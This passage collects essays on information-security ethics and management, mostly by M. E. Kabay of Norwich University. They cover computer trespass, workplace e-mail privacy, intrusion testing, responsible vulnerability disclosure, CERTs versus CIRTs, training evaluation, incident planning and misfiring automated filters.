You are, by applying your own good sense and experience of how people make mistakes by failing to protect their systems. You don't seriously expect anyone to believe that you truly think that a user ID and password left visible on a screen in a cyber-café constitute a public access ID?

>It was given to me in public.<

No it wasn't, any more than a person who leaves her purse on a table in that cyber-café is giving it to you when you steal it.

Ethical Debate over Computer Trespass (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is part two of a three-part dialogue with someone who challenged me to explain why using a found user-ID and password is wrong.

* * *

>If, at a public Web site, the company accidentally left their customer names and addresses in a file that I can access. Clearly, it was not their intention to give me access to these files; or was it? Have I broken the law by taking and using this customer base?<

Yes, you have appropriated information to which you have no legal or moral right. That the information is stored electronically is no more relevant than if it had been written on paper or graven in stone.

>What did I "break" into in these examples? <

Their security perimeter; you also broke ethical principles and the law.

>The door was left open and it was inviting. By not having proper security, did the company not authorize me to have access?<

No, it didn't. Making a mistake does not constitute permission.

>I think that we can use physical examples only so far in the cyberspace.<

"Cyberspace" is a metaphor too. There is no special privilege accorded behavior solely on the basis of medium of communication. That you are using electronic methods for accessing the information is no more relevant to the ethical and legal issues than if you claimed that you could legally eavesdrop on a conversation solely because it was in, say, German. Do you believe that we could convince anyone that "Germanspace" and "Frenchspace" have different rules from "Englishspace" bearing on the inappropriateness of listening in on conversation between human beings? Why should we view responsibility, courtesy, consideration and kindness as irrelevant solely because of the use of, say, the Internet? Do you feel that slander is wrong when it's spoken face-to-face but OK when it's communicated through a telephone? What other technological tools absolve the user from normal rules of civility? Is a driver who makes rude gestures at you any less rude because he's doing it from inside an automobile than if he did it on the sidewalk as you were walking past each other?

>In my opinion, if I as a company am sloppy, then I am responsible.<

You mean, surely, irresponsible. And yes, you are certainly responsible for the consequences of your failures. Why does that responsibility then remove responsibility from the criminal who attacks your system using the vulnerabilities you have left in place? What is he, then, a robot? A mere automaton, devoid of personal responsibility for his actions? Sounds very much like the

rationalizations of those defective people who abuse their spouses and then blame the victim for "provoking" their abuse. "Look what you made me do," cries the abuser after smashing his wife's face. "It's your fault for making me mad." Such refusal to accept responsibility is pathological; why should we not apply the same standard to abuse of other people's bad computer and network security?

>If via my sloppiness, my information security is violated, how can I blame the person who found themselves with access? I gave them this access via my sloppiness.<

No you didn't. You made it easier for dishonest people to abuse the information that you inadvertently made accessible. You are to blame for incompetence and they are to blame for taking advantage of it. Responsibility is not a zero-sum game where it's impossible for people to have different kinds of responsibility for a bad event. If a driver is not wearing a seat belt when another car smashes them off the road because that driver is drunk, do you think that the unbelted person's stupidity -- he's definitely partly responsibly for the severity of his head trauma -- absolves the drunk from responsibility for the consequences of _his_ actions?

Ethical Debate over Computer Trespass (3)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is part three of a three-part dialogue with someone who challenged me to explain why using a found user-ID and password is wrong.

* * *

>On which party is the onus?<

There's not just one burden of responsibility. Data owners or data managers have a fiduciary responsibility to their stakeholders to protect confidential and critical data. That they can fail does not absolve those who abuse their weakness.

>The person who was supposed to take reasonable steps to protect their information or the person who showed up via the WWW and got access?<

Try your reasoning on "The person who was supposed to take reasonable steps to protect their family or the person who showed up via the front door and shot the family?" Are you seriously proposing that vulnerability of the victim exculpates the attacker?

>Your orientation is a moral one. Yes, we are our brothers keeper and should do as you so indicated. However, the law is quite different. It does not deal with moral issues. Instead, it has its own basis.<

Oh, but the law does consider moral principles. For example, in contract law, contracts may be voided if the judicial system concludes that the terms are unconscionable. Penalties are limited to prevent cruel and unusual punishment. Judgements about indecency and obscenity are based on notions of reasonable people and community values. Constitutional law in the USA is governed by interpretation and by discussions about the intent of the framers in writing specific articles. Were the law a question of absolute, binary logic, we would already have established robotic law courts in which there were no human factors taken into account at all. The law is an expression of a society's moral reasoning. It's not a mathematically precise weighing of responsibility in which one party in a conflict necessarily takes all the blame and the other none.

>My feeling is that the person who sets up a system that is open has done just that; they have opened up their system. They did that. They should not have done that. It's then an open system that is public.<

Nonsense. There is no more justification for claiming that a computer system that is poorly protected is therefore open to the public than to claim that your own house is open to the public when you forget to lock the door. Ore even worse, to claim that because you failed to install titanium-steel bars on your windows, the punk who breaks into your home by smashing the pathetically weak glass is not responsible

for his actions.

Do you seriously propose to exculpate swindlers who prey on gullible people because the victims ought to have known better?

What's your attitude toward drug dealers who give narcotics to schoolkids? Surely the kids ought to have been taught better self-protective skills, right? Therefore the drug dealers have done nothing wrong, yes? They merely exploited a weakness in others and therefore bear no responsibility for their own actions.

There's plenty of responsibility -- and blame, I suppose -- to go 'round without trying to shift all of it to one side or the other.

Let me finish by telling you that if you truly believe that victims deserve all the blame and their victimizers none -- if you actually believe what you have been writing instead of simply taking a debating position for the fun of it -- then we have nothing further to say to each other on this topic.

Employee Privacy Rights

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader recently asked me, “How do employees protect their rights from snooping employers? Does placing a confidentiality paragraph at the bottom of your email protect you from unauthorized people reading your email if you actually catch them out? Does an employer need to advise their employees that there email maybe randomly accessed and viewed?”

Before going further, you must understand that I am not a lawyer and this is not legal advice. For legal advice, consult an attorney with expertise in the areas of law involved.

In brief, my understanding of employee privacy of communications is as follows:

1) Prima facie, before any other considerations, all professional writings created in fulfilling your professional obligations as an employee are copyright by default by your employer; in some cases, this claim of intellectual property rights over your creations may even extend to materials produced outside of normal working hours IF you have signed a contract abdicating your claims to such rights.

2) All written, verbal and pictorial communications created using your employer's resources and during normal working hours are the property of your employer. By default, employees have absolutely no privacy rights over electronic documents created on their employer's computers or over e-mail and other documents received on or sent from their employer's e-mail system. Thus if you receive personal mail on your employer's e-mail system, you have potentially forfeited your privacy rights over such communications.

3) Employer claims for total access to employee communications are subject to modification. In particular, courts have ruled that employee privacy may result from "a reasonable expectation of privacy." Such expectation is affected by

a) Explicit policies defining the degree or lack of privacy protection for employee communications.

Organizations lacking explicit policies affirming the employer's rights to access employee communications are in a poorer position to assert that claimed right. Conversely, when policies are explicit in removing employee privacy expectations, employees have a weaker claim to a reasonable expectation of privacy.

b) Implementation of privacy policies.

Even if an organization does have policies, the degree to which they are enforced may affect how seriously a court will judge their seriousness. For example, an employer that makes employees sign a renewal of their understanding that they have no privacy rights may have a much better defense against an employee's claim of breach of privacy than an employer that mentions the policy once at the initial contract signing and never thereafter.

c) Custom and culture.

There have been court cases dealing with the privacy rights of employees over their personal phone conversations. Few employers will ban such calls outright, and if policies make no mention of privacy issues, employees may easily develop an expectation of privacy about such personal use. The great danger is that such expectations may gradually extend to such uses of employer resources as Web access and e-mail. Nonetheless, there are no restrictions on employers' rights to warn their employees that all communications may be monitored.

In summary, as I understand it, there are no inherent rights to privacy in the workplace in the United States. It is the obligation of the employer to make it clearly and frequently known to all employees just what the policies are about use of employer equipment and it is the obligation of the employees to understand and follow the privacy guidelines if they intend to continue as employees.

When Barriers Fail

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In discussions of computer crime, attention inevitably has to turn to what happens when our security perimeters fail. How do we respond to _successful_ attacks on our systems.

I've been teaching a Cybercrime course for the last couple of years, and one of the texts I use is by my friend and colleague Peter Stephenson. In this and several future columns, I'll be basing my writing on key issues raised by Stephenson in his book on *_Investigating Computer-Related Crime_*.

First of all (Stephenson writes), one must define the goals of what he calls "intrusion management." These are to prevent intrusion in the first place; to recognize an intrusion as quickly as possible; to delay damage as long as possible; to respond to the intrusion so as to prevent, reduce and repair damage; and to collect evidence for decisions on whether and how to engage in legal proceedings under civil or criminal law.

Intrusion avoidance starts with policies, standards and procedures. Policies are global statements about the desired level of security such as "Prevent unauthorized access to our mainframe computers."). Standards are recognized methods for achieving appropriate security; e.g., "Use RACF on IBM mainframes." Procedures are specific steps to take in implementing standards; e.g., "Set the access-control list by default to account-only for all new accounts."

Testing is an essential component of preparing for the failure of security barriers. Because good security methods reduce the frequency of security incidents, there is a paradoxical reduction in the feedback that would encourage good security. In the absence of any obvious problems, employees and managers tend to become lax in their commitment to security. Testing has many benefits:

* It keeps interest in security high;
* Tests can become a contest or a game, generating positive feelings about what can otherwise become viewed as onerous and dull;
* Frequent testing serves as a kind of drill, increasing the likelihood of good responses in a real attack;
* If properly analyzed, test results can point to weak areas that would benefit from rethinking and better training;
* Tests can provide a measurable proof of effectiveness.

* * *

In the next article, I'll continue with more on testing security.

Looking for Weakness

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of articles, I'm summarizing key insights from my colleague Peter Stephenson's work on computer forensics. In the last article, I introduced some reasons for testing one's own security system.

Testing should begin with vulnerability assessment. Collect information about your own system such as access-control parameters, firewall settings, logging, and – much more difficult – observations of actual human behavior by system operators and other members of the production team. This phase of the work is known as assessment. Next, compare the actual configuration and performance with mandated standards and procedures and identity discrepancies. This process is known as _auditing_ the security of the system; future columns will look at auditing in more detail. With information in hand about where security is not conforming to your own standards, you can choose which problems to correct and also the sequence for remediation that reflects your priorities and resources.

At the technical level, one of the most valuable sources of information on which vulnerabilities may be relevant to your systems is the Common Vulnerabilities and Exposures (CVE) database run by MITRE Corporation. The ICAT Metabase from the Computer Security Laboratory at the National Institute of Standards and Technology provides an excellent human interface into the CVE database; you can specify your operating system, data range, type of vulnerability and so on and instantly get a list of vulnerabilities to check in your environment. Such assessments and scans save time and money; they can allow even non-expert personnel to contribute to security assessments at low cost. The CVE / ICAT system is helpful in training security personnel and in motivating interest in the task of keeping systems strong. Assessments and vulnerability scans can also provide baseline data to help spot changes in systems after real attacks have succeeded, thus speeding up the repair process by allowing immediate attention to damaged components.

On the other hand, scanning for weakness is necessary but not sufficient for maintaining good security. Many vulnerability scanners identify problems but cannot resolve them. Worse, out-of-date assessment products may provide an incorrect evaluation of the current state of system security. Finally, some scanners can be applied externally by potential attackers, providing the enemy with valuable insights for future exploitation.

Stephenson points out that scanning for vulnerabilities and assessing procedural failures are low-cost approaches to tightening up security, but neither confronts reality directly. In contrast, red-team attacks force you to face the facts of success and failure. Active testing simulates or actually carries out system attacks. These tests can be intrusive and even dangerous. However, they provide excellent diagnosis of weakness, particularly for network perimeter tests.

In the next article in this series, I'll look at some management aspects of active red-team security tests.

Responsible Vulnerability Disclosure (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

How should security vulnerabilities be disclosed by those who discover them? Should they be broadcast to everyone interested, including criminals? Should they be kept secret and sent only to the software creators? Should there be a time limit on how long product developers can be protected against disclosure? This issue, usually called "full disclosure," has exercised security specialists, criminal hackers, and those in between for years.

For example, NTBugtraq's moderator, Russ Cooper, enunciated his methods in 1999. His strategy is to reproduce the claims, then publish minor bugs immediately in the list. When he judges that bugs expose vulnerabilities with severe security implications, Cooper works with asks those reporting the bugs whether they want to work directly with the software developer (he calls them "Vendors") to get a fix out before publication. However, he does allow immediate posting to the list by those who choose not to wait for a fix.

In November 2001, Cooper proposed "The Responsible Disclosure Forum" to formalize the process of vulnerability disclosure. He suggests a core group of about 1,000 security experts who would evaluate the significance of claimed vulnerabilities and promote timely correction of important problems. Another group, perhaps 50,000 volunteers, would receive a vulnerability advisory within 48 hours; the advisories might include methods for reducing system vulnerabilities even while waiting for fixes – all the while carefully avoiding details that might allow script kiddies to exploit the vulnerabilities.

* * *

In the next column, I'll report on additional responsible-disclosure initiatives from a group led by Microsoft and another by a group of security experts trying to work through the IETF.

* * *

Responsible Vulnerability Disclosure (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous column, I reported briefly on Russ Cooper's approach to responsible bug reporting. In this column, there are a couple of initiatives readers might find interesting.

* * *

In November 2001, Microsoft and a group of five security firms (@stake, Bindview, Foundstone, Guardent, and Internet Security Systems) worked with Microsoft at the Trusted Computing Conference to devise standards for responsible disclosure of security vulnerabilities. The proposals followed an essay by Scott Culp (manager of the Microsoft Security Response Center) in which he criticized indiscriminate publication of security-vulnerability details, argued that such disclosure had been instrumental in the development of dangerous e-mail-enabled worms, and called for self-restraint in such publication. The proposed guidelines floated by the six cooperating firms included a request for all publication of vulnerabilities to be delayed by at least 30 days to allow for time to develop, test and distribute patches. Critics argued that such a long delay would reduce pressure on Microsoft and other vendors to ensure adequate quality assurance before releasing new versions of their products.

In late 2001, Steve Christey (MITRE) and Chris Wysopal (@stake) circulated a preliminary draft of their Responsible Disclosure Process to colleagues before submitting it to the Internet Engineering Task Force (IETF) as a possible Request for Comment (RFC) in February 2002. Even though the document expired at the end of August 2002, this thoughtful proposal deserves attention from anyone interested in the full-disclosure problem. The authors propose detailed procedures and responsibilities for those who discover flaws and for those who can repair them.

Within a few weeks, the IETF turned down their proposal because, they said, human procedures fall outside the IETF's purview. Such a claim seems to ignore long-established RFCs such as

* 1603 & 2418 (IETF Working Group Guidelines and Procedures),
* 1244 (Site Security Handbook),
* 2014 (IRTF Research Group Guidelines and Procedures),
* 2901 (Guide to Administrative Procedures of the Internet Infrastructure), and
* 3013 (Recommended Internet Service Provider Security Services and Procedures)

among others, all of which deal directly with human procedures relating to Internet technology.

Christey and Wysopal have stated that they will continue to work for acceptance of their proposals in other venues. In the meantime, readers may want to stay aware of developments in this important area of concern. Christey and Wysopal's contact data are included at the end of their document and they have confirmed to me that they are happy to receive comments from interested parties.

* * *

In an upcoming column, I'll look at how software companies are responding to bug notifications – and how they ought to do so.

* * *

CERTs and CIRTs:
Homonyms But Not Synonyms (1)

Cory A. Mazzola
MSIA Student, Norwich University

[Readers may be aware that the Master of Science in Information Assurance (MSIA) program at Norwich University requires students to write an essay a week as well as a management report due by the end of each of the six seminars in the program. Professor Jon David, one of the instructors for Seminar 5 in the September 2003 Start Date of the MSIA, recommended this paper by Staff Sergeant Cory Mazzola of the United States Air Force. Here is his article in two parts. -- M. E. Kabay, PhD, CISSP / MSIA Program Director.]

* * *

Although the terms CERT (Computer Emergency Response Team) and CIRT (Computer Incident Response Team) are often interchanged synonymously, there exists a distinct difference between the two. The “CERT” acronym is registered in the U.S. Patent and Trademark Office for exclusive use by the Software Engineering Institute at Carnegie Mellon University. As such, the term is typically reserved for the predominant computer security organizations and entities throughout the various global sectors of government, commerce, and academia. All organizations wishing to use “CERT" in their team name must request permission through the CERT/CC® authorities. The term “CIRT,” in comparison, is much more generic and has often been adopted and used by many outside organizations, both large and small. It is also sometimes spelled CSIRT, standing for “Computer Security Incident Response Team.” A striking difference is in the breadth and scope of duty and responsibility, as illustrated in these CERT and CSIRT charters:

> “(CERT) An [organization] formed by DARPA in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues and to conduct research targeted at improving the security of existing systems. CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents and tutorials.” [1]

> “A Computer Security Incident Response Team (CSIRT) is a service organization that is responsible for receiving, reviewing, and responding to computer security incident reports and activity. Their services are usually performed for a defined constituency that could be a parent entity such as a corporation, governmental, or educational organization; a region or country; a research network; or a paid client. A CSIRT can be a formalized team or an ad hoc team. A formalized team performs incident response work as its major job function. An ad hoc team is called together during an ongoing computer security incident or to respond to an incident when the need arises.”[2]

Evolution of the CERT Function and Naming Convention

In the CERT/CC's background documentation, they write, "Following the Morris worm incident, which brought 10 percent of internet systems to a halt in November 1988, the Defense Advanced Research Projects Agency (DARPA) charged the SEI with setting up a center to coordinate communication among experts during security emergencies and to help prevent future incidents."[3] In December, the CERT Coordination Center (CERT/CC®) was founded within the SEI at Carnegie Mellon University. The CERT/CC®, which has generally become known as _the_ CERT, has accrued a long-standing reputation as a global leader in coordinated response, vulnerability analysis, security practices and evaluations, survivability analysis and research, and training and education. The CERT/CC plays an indispensable role in protecting and governing high-level security processes and practices at the Internet and global information grid level, often exporting its expertise and invention to the benefit of the computer security community, as well as the parent organization and world. The security umbrella of the CERT/CC®, and subsequent CERT founded around the world following the model of the CERT/CC, greatly outweighs the limited capabilities demonstrated by many CIRTs.

CERTs and CIRTs:
Homonyms But Not Synonyms (2)

Cory A. Mazzola
MSIA Student, Norwich University

[This is the second part of an article by Norwich University MSIA student Staff Sergeant Cory Mazzola of the United States Air Force.]

Facets of the CIRT Acronym and Mission

While a CERT is typically a distinguished and unified team within a sizable organization, a CIRT does not always operate on such a grandiose scale. A CIRT comes in many shapes and sizes, ranging from sizeable corporate capabilities to small informal groups. While a CERT is typically comprised of a dedicated team of full-time personnel, a CIRT may consist of a limited part-time staff or additional duty employees, whom perform their CIRT duties outside of their regular job responsibilities, and often only in the event of an incident. In this sense, the CIRT operates at the section level, where a small scale incident can be serviced by intra-office expertise and bypass enterprise intervention, such as an isolated low profile incident.

The CIRT function is ideal for geographically dispersed satellite divisions that may be far from centralized computer support and response divisions. Possessing an on-site CIRT capability enables the detached organization to address and/or resolve internal security incidents and issues in the place of CERT involvement, or until the CERT can properly intervene. Nevertheless, the presence of a CIRT provides the necessary and available liaison channels to direct and coordinate response and recovery actions. The smaller scale CIRT operation also bodes well for the small business model, where the organization does not possess the manpower nor resources necessary to institute and fund a large scale CERT operation. The ability of employees to fill primary job functions while performing incident response as a secondary duty, when necessary, enables an employer to reserve the capability until needed while retaining full mission manning and core operating base. Numerous mid-range organizations often hire one or two full-time employees for the CIRT, while holding numerous trained staff members on retainer. The reserve members hold available and ready to respond when an incident occurs, while performing their primary duties and job functions as usual. The administrative, manning, and training costs of building a capable and robust team can accumulate, but the safety and security of possessing such a capability pays dividends if, or when, its services are called upon.

Enlarged Mission Focus of the CERT vs the CIRT

A CERT typically encompasses numerous facets of the security spectrum and is not solely dedicated to an incident response function. A legitimate CERT incorporates various information assurance disciplines within the team that may or may not be found within a limited CIRT capability, such as intrusion detection, vulnerability analysis, policy formulation, and enterprise oversight. The CERT typically employs active monitoring and defensive actions to oversee network and system security, ensuring perimeter protection and assuming system/network analysis capabilities. Additionally, the CERT works closely with associated and allied organizations, including other CERTs, to share information, and identify vulnerabilities, analyze

attack vectors and parameters, and combat apparent and emerging threats to the organization and information infrastructure.

Conclusion

The demanding daily mission and high profile coordination conducted and demonstrated by numerous CERT organizations spans the globe and consolidates their position as global leaders in the computing security realm, and a necessary cog in the protection and preservation of the Internet and global information base. The services offered by the CERT are broad in scope and diverse in range, including around-the-click network surveillance and analysis, perimeter protection, enterprise security and response. The CIRT, on the other hand, often fills a niche placement within many smaller, mid-range, and decentralized organizations as an internal incident response force, providing on-site awareness, expertise, and recovery oversight. The CIRT performs only a small portion, if any, of the CERTs immediate mission, often focusing heavily on incident response and mitigation processes. Both the CERT and CIRT, however, serve a necessary purpose in securing not only the information assets of the parent organization, but protecting the high and low level functions of the national information infrastructure and global information grid.

In summary, maintaining a distinction between a CERT and a CIRT serves a useful function in our field and this usage should be maintained by professionals.

Responding to Product Flaws

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

There's a long-standing discussion about what to do with information about security holes; "full disclosure" supporters cheerfully post the news, including full details of vulnerabilities and exploits, without bothering to notify organizations first to give them a chance to fix the problems. Others, like GreyMagic Software security engineers, follow the principle of not publishing details until the bugs have been fixed – or unless they receive no response to their alerts. Their advisories are generally respected and acted upon quickly by the product teams whom they inform.

For example, in May 2001, GreyMagic engineers discovered serious problems in (my favorite) browser, Opera. [I like Opera because of its excellent security, highly customizable user interface, its small size, rapid loading, and responsiveness to the user base.] One day after being notified of the problems, Opera issued a revision with fixes.

Individuals also contribute to better security when they inform organizations of security problems. Here's an item from John Gehl's and Suzanne Douglas' NewsScan (reprinted with permission) that illustrates a sound response to flaws:

TRYING TO DENY SECURITY FLAWS 'IS ALWAYS THE WRONG ANSWER.' The Web site Anonymizer.com, which offers a service that protects people's anonymity when they use the Internet, has acknowledged that it has had to fix several security flaws that had been identified by a friendly user, Bennett Haselton. Anonymizer president Lance Cottrell says that Haselton "came up with a new way of exploiting standards. They're pretty subtle." The company has awarded Haselton a prize for his effort, which is given to anyone who can find security holes in the Anonymizer service. "We are always actively soliciting people to attack it. Trying to hide and keeping your head down is always the wrong answer." (AP/San Jose Mercury News 21 May 2002) < http://www.siliconvalley.com/mld/siliconvalley/3306644.htm >.

In contrast, there was another incident in May in which GreyMagic informed a company (whose name I'm suppressing because the specific company is not the issue here) of an equally serious problem. That company also offers a prize for bug reports. When GreyMagic staff reported the problem, there was no response at all for a week. At that point, the security group decided to post their advisory even though they figured they probably would not receive thanks, let alone the reward, for their work.

Consider the difference between the open vs closed responses described above: the positive, professional response by the software firms not only supported their customers, it also gained them positive publicity. I'm sure that most of us are more confident about the integrity of anyone who immediately admits a mistake and fixes it rather than ignoring the problem or worse, denying it. In contrast, the stone-wallers fail to resolve the problem and then make it worse by making people angry.

I think the lesson here is that everyone producing software ought to have an effective incident-

response plan for dealing quickly with security flaws. Some simple suggesions:

* Technical support procedures need an escalation process to deal with problems of high importance; similarly,
* everyone in a software company should know exactly what to do when they receive any message that claims there's a security flaw in one of their products.
* It should not matter if the message is received by a secretary in the accounting department or by a programmer working on a different product: each employee should know to whom to send the warning and should do so at once.
* In addition, no one should assume that a message has been received by the right people until there's a confirmation from that person or group.
* Ideally, the person receiving the bug notification should personally take the responsibility for passing the message on in person to the right resources and should verify that the person who sent in the bug gets a prompt, courteous response.

Evaluating IA Training & Education (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

At the March 2004 Annual Conference of the Federal Information Systems Security Educators' Association (FISSEA) at the University of Maryland University College campus, Roger P. Quane, PhD, of the National Security Agency in the USA Department of Defense presented a stimulating lecture on "Evaluation Activities: Mangement's Nightmare or Dream Come True."

Dr Quane pointed out that evaluation metrics for training programs, in particular, can be ranked by difficulty as follows:
* Reaction – how participants like the program;
* Learning – what the participants can show they have learned;
* Application – how the participants apply their knowledge in their work;
* Business impact – the effects on how the organization runs its operations;
* ROI (return on investment) – monetary measures of benefit divided by costs required to achievement.

The role of the manager is critical: (s)he leads the project and is responsible for its success. To avoid conflict of interest, the manager should have someone else evaluate the program. Such evaluations are often needed to see if the training program is justified or worthwhile; unfortunately, says Dr Quane, sometimes managers are confronted with a stark choice between honesty and what may seem like professional survival. Regardless of the apparent danger, honesty is the only policy that makes sense. If a program hasn't worked out, it's important to say so and take the consequences ("falling on one's sword" in Dr Quane's description). In reality, such honest self-appraisal is rarely treated as grounds for dismissal.

In general, Quane recommends that formal evaluations not be applied to projects that cost less than $100,000. In addition, the projects should have organizational visibility, must be needed for organizational success, should be relatively new, and should be requirements driven (i.e., not simply done because everyone has to do it).

Not every training project should be evaluated, says Dr Quane, but it is essential that evaluations be carried out in sequence. First you have to collect information about participation reactions, then you can study how well they learned, and only after that should you look at behavior in the workplace. Each of these levels is more complex and more expensive to measure than the previous one. Measuring effects of training on security is much more complex and will be the subject of a separate article.

Evaluating IA Training & Education (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

At the March 2004 Annual Conference of the Federal Information Systems Security Educators' Association (FISSEA) at the University of Maryland University College campus, Jack J. Phillips, PhD, the Chairman of the ROI Institute, discussed "Measuring ROI in the Public Sector."

Dr Phillips pointed out that return on investment (ROI) is growing in popularity among managers, especially those with a strong background in finance. The ROI methodology for training and education has been developed and applied over the last 20 years and is being used in thousands of impact studies every year. There have been hundreds of ROI case studies already published; some of them have been collected by Patricia Pulliam Phillips, PhD in a recent book.

However, ROI is the most complex and expensive measure of value for any program and should be limited to those programs where the exercise will have an operational effect; i.e., no one should undertake an ROI exercise without having a specific goal in mind such as a go/no-go decision or a decision on increase in funding.

Contrary to a common misconception, ROI evaluations are not limited to producing a single number consisting of monetary benefits divided by costs. On the contrary, Dr Phillips argues, the ROI process "generates six types of data:

* Reaction, satisfaction and planned actions;
* Learning;
* Application and implementation;
* Business impact;
* Return on investment;
* Intangible measures."

An effective application of the ROI methodology, according to Phillips, can

* Align programs to business needs;
* Show contributions of selected programs;
* Earn the respect of senior management and administrators;
* Build staff morale;
* Justify and defend budgets;
* Improve support for human resources, learning and development;
* Enhance the design and implementation process;
* Identify inefficient programs that need to be redesigned or eliminated;
* Identify successful programs that can be implemented in other areas.

Dr Phillips presented a thoroughgoing evaluation process which is described in Dr Patricia Phillip's book entitled _*The Bottomline on ROI*_.

The ROI Institute runs a closed Web site for its 600 members; visitors are permitted to send e-mail to a contact address for further information.

After the Hubbub:
Incident Management in 2003

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I have been inviting friends and colleagues to send me interesting essays for this column. Michael Miora, whom I have known since we worked with the old National Computer Security Association starting in the early 1990s, has very kindly sent me the following text. As usual, I've done some light editing and added some references for further reading.

* * *

How has the landscape of incident management changed since September 11, 2001, and how will we approach the subject in 2003?

There are few statistically and methodologically sound surveys addressing the question of how companies face and handle incident management and how this has changed in the last year. However, the "Preponderance of Anecdotes" will help us find the answer.

There is good news. In the last year, we have seen that those companies who had already addressed the issue before 9/11 have often improved their incident management posture. Plans that were previously in place and tested have often been reviewed in detail, expanded, updated and retested. Some systems and functions that were previously excluded because they did not seem worthy of protection have been brought under the incident-management umbrella. Moreover, organizations have begun to realize that they must take extraordinary precautions to protect their employees; as a result, emergency preparedness measures such as food, shelter, transportation, family communication, and other such measures have been greatly improved in many companies we have seen.

There is also bad news. Generally, organizations that were unprepared and unprotected before September 11, 2001, are for the most part still unprepared and unprotected. Our tough economic times compound the difficulty of making planning a high priority even though terrorism, cyber attacks, and other incidents make news daily. The biggest problem planners tell us that they face is justifying the cost, which they must do in a quantifiable, Return-on-Investment (ROI) basis.

The most important news is the growing receptivity of executives and middle management to the idea that incident management should be a key part of the corporate infrastructure. We have seen and heard top management report that this is now a concern that is raised regularly in the boardroom and at management working meetings just as it has been an important topic in the computer and telephone rooms. That growing interest and openness represents a major new opportunity for the incident-management planner to get funding for viable and cost-effective disaster recovery and incident response plans.

The opportunity is to define well-segmented plans that protect key elements against high-probability events at low cost. Our newly receptive audience is cost conscious and recognizes

that both short-term profit and long-term profitability are dependent upon containing costs. We must show them that these segments, once built and tested, can then be leveraged to lower the cost of future extensions of the plan.

It is critical to show clearly that during the coming 3-5 year period, depending on the company and industry, the cost of preparation is lower than the cost of incident handling without a plan. This explanation cannot be a probability-based argument where the large cost of a major natural disaster is modified by a probability of occurrence. Instead, we have to show a reasonable basis for predicting that handling any incidents without a plan is bound to be more expensive than the total cost of preparing, rehearsing and refining incident response plans for the same scenarios.

The incidents we plan for don't have to involve headline news such as hurricanes and tornadoes or cyber- and terrorist attacks. Devise your incident management planning to appropriately include ordinary events and circumstances that happen regularly, causing outages and losses; the cost-benefit tradeoff will come together nicely.

With such an argument in place, it will be possible to show management that implementation of a plan will reduce costs rather than raise them.

Who can argue against saving money?

Artificial Stupidity

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I was struck recently by the kind of blooper that Peter G. Neumann's RISKS Forum has been highlighting for decades: automated responses based on faulty assumptions.

One of the themes illustrating the dangers of stupidly-defined rules blindly applied is anti-spam measures based on absurdly clumsy methods of identifying unsolicited commercial e-mail. Many correspondents have reported on simple-minded filters that block e-mail based on, say, the presence of particular alphanumeric sequences. Such discussions usually have to dance circles around the actual target strings for fear that the anti-spam measures will block the issue of RISKS. For the same reason, I dare not write the sequence consisting of three instances of the third-to-last letter of the English alphabet (you know, the one between W and Y) because so many filters identify any text containing that particular sequence as if they are inevitably pornographic messages.

Another example of a stupid rule instantiated into code is from a version of MS-Outlook, where at one point a few years ago, Bruce Sterling pointed out that the presence of the string "begin" followed by two spaces at the start of a line in an e-mail message was interpreted as the start of MIME-encoded text. All the rest of the message was therefore converted to an attachment. Microsoft's proposed workaround was to use some other word than "begin" in one's text: they suggested "start" or "commence."

About a week before writing this column, my CompuServe e-mail account was blocked because the password was changed. I called technical support; they informed me that my account had been flagged as being involved in spam. Tech support could do nothing further to help me, they said; only the Community Action Center could do so. The Action Center's logs showed that my account had been frozen because I sent an announcement about an upcoming security lecture in our university's monthly series to 70 recipients (all students) and then immediately sent another (actually the same) message to about 40 faculty members. It seems that CompuServe has very strict rules which automatically freeze any account that is identified as sending spam.

When I asked what the rules were so that I could avoid any further difficulties, I was categorically told that it is impossible to give the rules. The rules involve a combination of message size, number of recipients, and interval between messages with more than an indeterminate number of recipients.

I spent a while looking for any information about these (now practically mythical) rules in the Terms of Service and Spam sections of CompuServe, but I have found nothing whatsoever to help me avoid future shutdowns.

The specific example is not particularly important. The significant problem is the blind, Philistine pig-ignorance (to quote Monty Python's slaughterhouse architect) that presupposes an absolute identity between e-mail with lots of recipients and e-mail that qualifies as spam. If one of my programming students designed a system with this degree of stupidity I'd assign a zero for

the design.

Remind your programmers to test their assumptions before they engage in automated denial of service to paying customers.

As for me, after 17 years with CompuServe, I've switched to a different ISP with clearer rules.

Artificial Stupidity (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Information assurance includes availability as one of its six fundamental goals for the protection of information. I was recently struck with another denial of service caused by bad assumptions in programming the rules underlying a business Web site.

* The Problem *

I have used PGP since the days of version 2.6.3; currently, I'm on my nth upgrade and using version 6. Because I strongly support PGP, I decided that I would upgrade to version 8 for the modest fee (about $40) listed on their Web site at < http://www.pgp.com >.

PGP.COM's Web site is programmed so that customers can go through all the forms required to order and pay for a license for PGP -- and then can refuse access to the download after the credit-card has been debited if it cannot do a reverse IP lookup on what it receives as the customer's IP address.

The following message appeared on my screen when I clicked on the download button: "In accordance with current US Export restrictions, PGP 8.0 products may be downloaded by individuals throughout the world except those in the following countries: Cuba, Libya, Iran, Iraq, North Korea, Sudan, and Syria. If you are in one of these countries, you may not download PGP software."

